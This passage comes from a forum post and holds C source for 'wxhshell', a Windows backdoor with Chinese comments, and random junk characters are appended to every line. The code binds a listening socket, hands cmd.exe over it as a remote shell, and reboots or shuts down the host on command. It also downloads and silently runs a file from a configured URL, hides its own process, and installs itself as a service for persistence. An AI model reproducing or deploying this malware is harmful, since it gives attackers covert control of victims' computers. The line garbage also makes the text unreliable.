      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C7lBK<gQ  
    break; El)WjcmH  
  } t&99ZdE  
  // 安装  E\! <=  
  case 'i': { Lw!Q*3c  
    if(Install()) 2gnmk TyF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t*'U|K4L/  
    else ~)\E&c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M;Dk$B{;R  
    break; BE]PM nI  
    } ?pJUbZ#J  
  // 卸载 Y]R;>E5o|  
  case 'r': { u4UQMj|q  
    if(Uninstall()) a9CK4Kg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `K^j:fE7n  
    else oTqv$IzqP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TQ\\/e:  
    break; K^'NG!  
    } C_JDQByfL  
  // 显示 wxhshell 所在路径 $ }D9)&f;  
  case 'p': { 7CKh?>  
    char svExeFile[MAX_PATH]; GcL:plz  
    strcpy(svExeFile,"\n\r"); ~3u'=u9l  
      strcat(svExeFile,ExeFile); }L1 -2  
        send(wsh,svExeFile,strlen(svExeFile),0); i$:\,  
    break; jg_##Oha  
    } i!jR>+  
  // 重启 Jm l4EW7  
  case 'b': { L,B#%t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /v,H%8S  
    if(Boot(REBOOT)) qd7 86~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =U_WrY<F  
    else { '&.QW$B\B_  
    closesocket(wsh); DfNX@gbo  
    ExitThread(0); -`o22G3w  
    } 8"\g?/  
    break; -8]M ,,?  
    } 8=%%C:  
  // 关机 .Y"H{|]Mnh  
  case 'd': { dsh S+d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &Jr~ )o   
    if(Boot(SHUTDOWN)) &!lGx7zf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AJ*FQo.U  
    else { n2JwZ?  
    closesocket(wsh); <opBOZ d  
    ExitThread(0); 'NJCU.lKm  
    } Y!8Ik(/~i  
    break; jJN.(  
    } BN?OvQ  
  // 获取shell (>E 70|T  
  case 's': { ~9OART='  
    CmdShell(wsh); @} 61D  
    closesocket(wsh); i5>]$j1/  
    ExitThread(0); 0t-!6  
    break; o0nKgq'w|x  
  } ib4shaN`  
  // 退出 `(r [BV|h}  
  case 'x': { MMMuT^X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  vj+x(  
    CloseIt(wsh); p#~Dq(Q  
    break; D=w5Lks  
    } [,Io!O  
  // 离开 &gn^i!%Z)  
  case 'q': { wz-#kH5?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C>d_a;pX  
    closesocket(wsh); Sc!{ o!9\  
    WSACleanup(); <Ct b^4$  
    exit(1); 1CkBfK  
    break; J!$q"0G'WT  
        } =kp-[7  
  } u;fD4CA  
  } ay\e# )  
X\r?g  
  // 提示信息 +Mb;;hb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); akuV9S  
} #Z'r;YOzs  
  } CH6^;.  
Jl-Lz03YG  
  return; 'n7 )()"2  
} +mReWf:o  
ZSKSMI%D  
// shell模块句柄 XY[uyR4Z  
int CmdShell(SOCKET sock) n M +(  
{ qRXb 9c  
STARTUPINFO si; 28KS*5S  
ZeroMemory(&si,sizeof(si)); : Gp,d*M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3d qj:4[f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -lKk.Y.}r  
PROCESS_INFORMATION ProcessInfo; R^`#xQ  
char cmdline[]="cmd"; _S43_hW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T)"B35  
  return 0; '%@fW:r~  
}  aKkG[q N  
481SDG[b  
// 自身启动模式 ;VY0DAp{  
int StartFromService(void) K:!|xr(1d  
{ 9?xMsu-H  
typedef struct )z'LXy8  
{ Nr\[|||%  
  DWORD ExitStatus; ,J|8P{ZO  
  DWORD PebBaseAddress; i%m]<yElm  
  DWORD AffinityMask; A %iZ_h^  
  DWORD BasePriority;  ~yQby&s  
  ULONG UniqueProcessId; #HjiE  
  ULONG InheritedFromUniqueProcessId; 6Z:<?_p%7g  
}   PROCESS_BASIC_INFORMATION; UADD 7d  
3snr-)   
PROCNTQSIP NtQueryInformationProcess; K3QE>@']  
')k n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b5kw*h+/'h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $q_e~+SXT  
1'c  
  HANDLE             hProcess; Pqe{C?7B  
  PROCESS_BASIC_INFORMATION pbi; =Ri'Pr x&  
>7yOu!l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); biTET|U`$  
  if(NULL == hInst ) return 0;  xZJ r*  
[42vO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OR4ZjogzY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s68&AB   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g3r4>SA  
%#!pAUP\&  
  if (!NtQueryInformationProcess) return 0; OF^:_%c/  
7X \azL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7Sc._G{[%  
  if(!hProcess) return 0; q8U*  
X2avo|6e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m&EJ @,H  
ig Mm.1>  
  CloseHandle(hProcess); yH\z+A|  
6$"gm$3O]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b2x8t7%O  
if(hProcess==NULL) return 0; 1 J3h_z6/  
]#n,DU}V  
HMODULE hMod; 9cJzL"yi  
char procName[255]; U%2[,c_  
unsigned long cbNeeded; 3B }Oy$p  
$ b Q4[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O gQE1{C  
r^<W$-#  
  CloseHandle(hProcess); jD@KG  
8mM^wT  
if(strstr(procName,"services")) return 1; // 以服务启动 pNY+E5  
jOuz-1x,&  
  return 0; // 注册表启动 < * )u\A  
} ;Drt4fOxX  
?S9!;x<  
// 主模块 gAcXd<a0  
int StartWxhshell(LPSTR lpCmdLine) KMsm2~P  
{ AL #w  
  SOCKET wsl; `WDN T0@M  
BOOL val=TRUE; ^j1?LB  
  int port=0; s`2Hf&%aZJ  
  struct sockaddr_in door; >L6V!  
&%QtUPvr9  
  if(wscfg.ws_autoins) Install(); YG<7Zv  
9Ra_[1  
port=atoi(lpCmdLine); \ "193CW!  
$7q'Be@{  
if(port<=0) port=wscfg.ws_port; S^}@X?v  
vAW+ ,Rfj  
  WSADATA data; p9*#{~   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h#K863  
n GE3O#fv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;\yVwur  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~`Q8)(y<#$  
  door.sin_family = AF_INET; )L?JH?$C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i*`;/x'+  
  door.sin_port = htons(port); o,a 3J:j]  
$j(2M?.>#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Rn={:u4  
closesocket(wsl); Q/T\Rr_d  
return 1; Pyc/6~ ?  
} <5*cc8  
Z{/0 P  
  if(listen(wsl,2) == INVALID_SOCKET) { 9N^&~O|1  
closesocket(wsl); PfTjC"`,  
return 1; \ ]  
} 7[ )4k7  
  Wxhshell(wsl); Jt6~L5[_s  
  WSACleanup(); \& 6  
/M>8ad  
return 0; e-Z+)4fH  
JCNZtWF  
} i>gbT+*E!  
!( xeDX  
// 以NT服务方式启动 Qn> 0s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /I~iUND"G  
{ 9kj71Jp&}  
DWORD   status = 0; z38&7+  
  DWORD   specificError = 0xfffffff; yP\KIm!  
<F!On5=W*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (JS1}T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ws:@Pe4AF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H:x=v4NgsU  
  serviceStatus.dwWin32ExitCode     = 0; ffo{ 4er  
  serviceStatus.dwServiceSpecificExitCode = 0; l v]TE"  
  serviceStatus.dwCheckPoint       = 0; ES72yh]  
  serviceStatus.dwWaitHint       = 0; OgjSyzc  
X 10(oT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q:$<`K4)  
  if (hServiceStatusHandle==0) return; G" &9u2k  
XiE  
status = GetLastError(); >YuBi:z  
  if (status!=NO_ERROR) j!9p#JK#u  
{ omQa N#!,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L 1=HD  
    serviceStatus.dwCheckPoint       = 0; 6?n AO  
    serviceStatus.dwWaitHint       = 0; l@ vaupg  
    serviceStatus.dwWin32ExitCode     = status; xwG=&+66  
    serviceStatus.dwServiceSpecificExitCode = specificError; o|lEF+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V,?i]q;5  
    return; w[@>k@=  
  } Ld>y Fb(`  
GEU:xn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %(h-cuhq  
  serviceStatus.dwCheckPoint       = 0; in_~,fd  
  serviceStatus.dwWaitHint       = 0; fNOsB^Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); We3Z#}X  
} "2HSb5b"`  
kBYZNjSz  
// 处理NT服务事件,比如:启动、停止 NBzyP)2)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8:hUj>q x  
{ Onoi^MDy  
switch(fdwControl) p.,o@GcL~  
{ HlEp Dph%  
case SERVICE_CONTROL_STOP: !HyPe"`oL  
  serviceStatus.dwWin32ExitCode = 0; MJsz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6B 4Sd  
  serviceStatus.dwCheckPoint   = 0; j&n][=PL  
  serviceStatus.dwWaitHint     = 0; hXr`S4aJ  
  { )%'Lm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1jU<]09.  
  } [V'3/#Z  
  return; VP^Yph 8R  
case SERVICE_CONTROL_PAUSE: 3In` !@EJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gxk=]5<7  
  break; v%c r   
case SERVICE_CONTROL_CONTINUE: |}zvCD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oK1"8k|Z  
  break; 1.WdxMpW9  
case SERVICE_CONTROL_INTERROGATE: x9}D2Ui  
  break; o3*IfD  
}; &Npv~Iy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |0nbO2}  
} c|q!C0X[  
( XYYbP  
// 标准应用程序主函数 Pk444_"=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]Hk8XT@Q+  
{ ~@=:I  
G4g <PFx  
// 获取操作系统版本 9hG)9X4  
OsIsNt=GetOsVer(); ;} ),6R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @=ABO"CQ  
F. X{(8  
  // 从命令行安装 ;8m_[gfw  
  if(strpbrk(lpCmdLine,"iI")) Install(); UKyOkuY:w  
5^'PjtW6  
  // 下载执行文件 cQEK>aAd  
if(wscfg.ws_downexe) { l{wHu(1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /zZ$<mVG  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q: ?]:i/*  
} <V)T_  
X}b%gblx  
if(!OsIsNt) { ]F5?>du@~  
// 如果时win9x,隐藏进程并且设置为注册表启动 n,sl|hv2U  
HideProc(); hKv3;jcd  
StartWxhshell(lpCmdLine); >*rsRR  
} -E~pCN(E  
else _U)BOE0o  
  if(StartFromService()) H&\Ig D  
  // 以服务方式启动 i/QE)"B"q  
  StartServiceCtrlDispatcher(DispatchTable); 01Bs7@"+  
else un|+YqLf  
  // 普通方式启动 TNBFb_F  
  StartWxhshell(lpCmdLine); c;DWSgIw  
NYtp&[s2-  
return 0; t(/b'Peq  
}
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只看该作者 1 发表于: 2006-10-10
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